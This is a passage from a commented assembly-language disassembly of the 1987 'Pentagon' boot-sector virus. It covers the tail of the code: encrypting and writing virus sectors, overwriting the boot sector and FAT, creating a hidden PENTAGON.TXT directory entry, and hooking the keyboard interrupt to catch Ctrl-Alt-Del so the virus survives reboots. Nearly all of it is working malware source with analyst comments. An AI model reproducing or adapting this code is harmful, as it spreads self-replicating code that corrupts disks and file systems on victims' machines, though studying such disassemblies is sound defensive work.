  776.     JMP    BP06FC            ; Pass on to BIOS
  777.  
  778. BP05B7:    MOV    CS:DW0786,CX        ; Save file cluster number
  779.     CALL    BP03DA            ; Cluster num to trck/hd/sect
  780.     MOV    CS:DW078C,CX        ; Save file track & sector
  781.     MOV    CS:DW078E,DX        ; Save file head and drive
  782.     PUSH    BP
  783.     MOV    BP,OFFSET DW00D0    ; Address file pointers
  784.     MOV    CS:[BP],CX        ; Save track and sector
  785.     MOV    CS:[BP+3],DH        ; Save head
  786.     POP    BP
  787.     MOV    AL,0FCH            ; Load encryption key
  788.     MOV    BX,0800H        ; Address boot sector store
  789.     MOV    CX,0200H        ; Length to encrypt
  790.     CALL    BP0315            ; Encrypt/decrypt
  791.     MOV    BYTE PTR CS:DB07E0,20H    ; Set count to 32
  792.     LEA    CX,DB07E0        ; Address end of encrypted
  793.     LEA    BX,DB0791        ; Address start of encrypted
  794.     SUB    CX,BX            ; Length to encrypt
  795.     MOV    AL,0AAH            ; Load encryption key
  796.     CALL    BP0315            ; Encrypt/decrypt
  797.     MOV    BX,0200H        ; Virus second sector
  798.     MOV    AX,0301H        ; Write one sector
  799.     MOV    CX,CS:DW0788        ; Get virus track & sector
  800.     MOV    DX,CS:DW078A        ; Get virus head and drive
  801.     MOV    DL,CS:DB0790        ; Load device
  802.     CALL    BP031B            ; Write to disk
  803.     JNB    BP0613            ; Branch if no error
  804.     JMP    BP06FC            ; Pass on to BIOS
  805.  
  806. BP0613:    MOV    AX,3            ; Three sectors to write
  807. BP0616:    PUSH    AX            ; Save write count
  808.     ADD    BX,0200H        ; Next sector buffer
  809.     MOV    AX,0301H        ; Write one sector
  810.     CALL    BP0300            ; Address to next sector
  811.     CALL    BP031B            ; Write to disk
  812.     JB    BP062D            ; Branch if error
  813.     POP    AX            ; Retrieve write count
  814.     DEC    AX            ; Decrement count
  815.     JNZ    BP0616            ; Repeat for each sector
  816.     JMP    BP0631
  817.  
  818. BP062D:    POP    AX
  819.     JMP    BP06FC            ; Pass on to BIOS
  820.  
  821.     ; Write file
  822.  
  823. BP0631:    LEA    CX,DB07E0        ; Address end of encrypted
  824.     LEA    BX,DB0791        ; Address start of encrypted
  825.     SUB    CX,BX            ; Length to encrypt
  826.     MOV    AL,0AAH            ; Load encryption key
  827.     CALL    BP0315            ; Encrypt/decrypt
  828.     MOV    BYTE PTR CS:DB07E0,10H    ; Set count to 16
  829.     MOV    CX,CS:DW078C        ; Get file track & sector
  830.     MOV    DX,CS:DW078E        ; Get file head and drive
  831.     MOV    DL,CS:DB0790        ; Load device
  832.     MOV    BX,1000H        ; Address file buffer
  833.     MOV    AX,2            ; Two sectors to write
  834. BP065B:    PUSH    AX            ; Save write count
  835.     MOV    AX,0301H        ; Write one sector
  836.     CALL    BP031B            ; Write to disk
  837.     JB    BP062D            ; Branch if error
  838.     CALL    BP0300            ; Address to next sector
  839.     ADD    BX,0200H        ; Address next sector buffer
  840.     POP    AX            ; Retrieve write count
  841.     DEC    AX            ; Decrement write count
  842.     JNZ    BP065B            ; Write each sector
  843.     MOV    BX,OFFSET BP0059    ; Start of encrypted
  844.     MOV    CX,OFFSET DB00C5-BP0059    ; Length to encrypt
  845.     MOV    AL,0FCH            ; Load encryption key
  846.     CALL    BP0315            ; Encrypt
  847.     XOR    BX,BX            ; Address start of virus
  848.     MOV    AX,0301H        ; Write one sector
  849.     MOV    CX,1            ; Track zero, sector 1
  850.     XOR    DH,DH            ; Head zero
  851.     CALL    BP031B            ; Write to disk
  852.     JNB    BP068C            ; Branch if no error
  853.     JMP    BP06FC            ; Pass on to BIOS
  854.  
  855.     ; Write 1st FAT sector
  856.  
  857. BP068C:    MOV    BX,OFFSET BP0059
  858.     MOV    CX,OFFSET DB00C5-BP0059    ; Length to decrypt
  859.     MOV    AL,0FCH            ; Load encryption key
  860.     CALL    BP0315            ; Decrypt
  861.     MOV    BX,0A00H        ; Address 1st FAT sector
  862.     MOV    AX,0301H        ; Write one sector
  863.     MOV    CX,2            ; Track zero, sector 2
  864.     CALL    BP031B            ; Write to disk
  865.     JNB    BP06A8            ; Branch if no error
  866.     JMP    BP06FC            ; Pass on to BIOS
  867.  
  868.     ; Write 2nd FAT sector
  869.  
  870. BP06A8:    ADD    BX,0200H        ; Address 2nd FAT sector
  871.     MOV    AX,0301H        ; Write one sector
  872.     INC    CX            ; Next sector
  873.     CALL    BP031B            ; Write to disk
  874.     JNB    BP06B8            ; Branch if no error
  875.     JMP    BP06FC            ; Pass on to BIOS
  876.  
  877.     ; Create directory entries
  878.  
  879. BP06B8:    MOV    BX,0E00H        ; Address directory
  880.     MOV    CX,5            ; Track zero, sector 5
  881.     XOR    DH,DH            ; Head zero
  882.     MOV    AX,7            ; Seven sectors to read
  883. BP06C3:    PUSH    AX            ; Save read count
  884.     MOV    AX,0201H        ; Read one sector
  885.     CALL    BP0300            ; Address to next sector
  886.     CALL    BP031B            ; Read from disk
  887.     JB    BP06F1            ; Branch if error
  888.     POP    AX            ; \ Retrieve and save read count
  889.     PUSH    AX            ; /
  890.     MOV    BYTE PTR CS:DB07E2,0    ; Set directory update switch off
  891.     CALL    BP0401            ; Update directory
  892.     JNB    BP06F5            ; Branch if entry found
  893.     CMP    BYTE PTR CS:DB07E2,0FFH    ; Test directory update switch
  894.     JNE    BP06EA            ; Branch if off
  895.     MOV    AX,0301H        ; Write one sector
  896.     CALL    BP031B            ; Write to disk
  897. BP06EA:    POP    AX            ; Retrieve sector count
  898.     DEC    AX            ; Decrement sector count
  899.     JNZ    BP06C3            ; Repeat for each sector
  900.     JMP    BP06FC            ; Pass on to BIOS
  901.  
  902. BP06F1:    POP    AX
  903.     JMP    BP06FC            ; Pass on to BIOS
  904.  
  905. BP06F5:    POP    AX
  906.     MOV    AX,0301H        ; Write one sector
  907.     CALL    BP031B            ; Write to disk
  908. BP06FC:    POP    DI
  909.     POP    ES
  910.     POP    SI
  911.     POP    DS
  912.     POP    DX
  913.     POP    CX
  914.     POP    BX
  915.     POP    AX
  916.     INT    68H            ; Disk I/O
  917.     RETF    2
  918.  
  919.         ; Int 9 routine
  920.  
  921. BP0709:    PUSH    AX
  922.     PUSH    BX
  923.     PUSH    DS
  924.     MOV    BYTE PTR CS:DB07E3,0    ; Set off reboot switch
  925.     XOR    AX,AX            ; \ Address zero
  926.     MOV    DS,AX            ; /
  927.     IN    AL,60H            ; Get keyboard token
  928.     MOV    BX,OFFSET BB0417    ; Address Key states
  929.     TEST    BYTE PTR [BX],8        ; Alt key depressed?
  930.     JZ    BP0736            ; Branch if not
  931.     TEST    BYTE PTR [BX],4        ; Ctrl key depressed?
  932.     JZ    BP0736            ; Branch if not
  933.     CMP    AL,53H            ; Del character token?
  934.     JNE    BP0736            ; Branch if not
  935.     XOR    BYTE PTR [BX],0CH    ; Set off Alt & Ctrl states
  936.     XOR    AL,AL            ; \ ?
  937.     OUT    60H,AL            ; /
  938.     MOV    BYTE PTR CS:DB07E3,0FFH    ; Set on reboot switch
  939. BP0736:    POP    DS
  940.     POP    BX
  941.     POP    AX
  942.     INT    69H            ; Keyboard I/O
  943.     PUSHF
  944.     CMP    BYTE PTR CS:DB07E3,0FFH    ; Test reboot switch
  945.     JNE    BP0765            ; Branch if off
  946.     POPF
  947.     MOV    AX,3            ; Set mode three
  948.     INT    10H            ; VDU I/O
  949.     CLI
  950.     MOV    AL,0AH            ; Repeat delay 10 times
  951.     XOR    CX,CX            ; Maximum loop
  952. BP074F:    LOOP    BP074F            ; Delay
  953.     DEC    AL            ; Decrement delay count
  954.     JNZ    BP074F            ; Repeat delay for count
  955.     CALL    BP04A0            ; Generate a sound
  956.     XOR    CX,CX            ; Maximum loop
  957. BP075A:    LOOP    BP075A            ; Delay
  958.     MOV    BYTE PTR CS:DB07E0,5    ; Set count to 5
  959.     STI
  960.     INT    19H            ; Disk bootstrap
  961.  
  962. BP0765:    POPF
  963.     RETF    2
  964.  
  965.     DB    27 DUP (0)
  966.  
  967. DW0784    DW    0064H            ; Cluster number of virus
  968. DW0786    DW    0066H            ; Cluster number of file
  969. DW0788    DW    0B02H            ; Virus track & sector
  970. DW078A    DW    0101H            ; Virus head and drive
  971. DW078C    DW    0B06H            ; File track and sector
  972. DW078E    DW    0101H            ; File head and drive
  973. DB0790    DB    1            ; Device number
  974.  
  975. DB0791    DB    'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
  976. DB07B1    DB    'Pentagon,ZG'
  977. DB07BC    DB    '(c) 1987 The Pentagon, Zorell Group$'
  978.  
  979. DB07E0    DB    20H            ; Infection count
  980. DB07E1    DB    0FFH            ; Infected by Brain switch
  981. DB07E2    DB    0            ; Directory update switch
  982. DB07E3    DB    0            ; Reboot switch
  983.  
  984.     DB    ' first sector in segment', 0DH, 0AH, 9, 6DH
  985.  
  986. CODE    ENDS
  987.  
  988.     END    START
  989.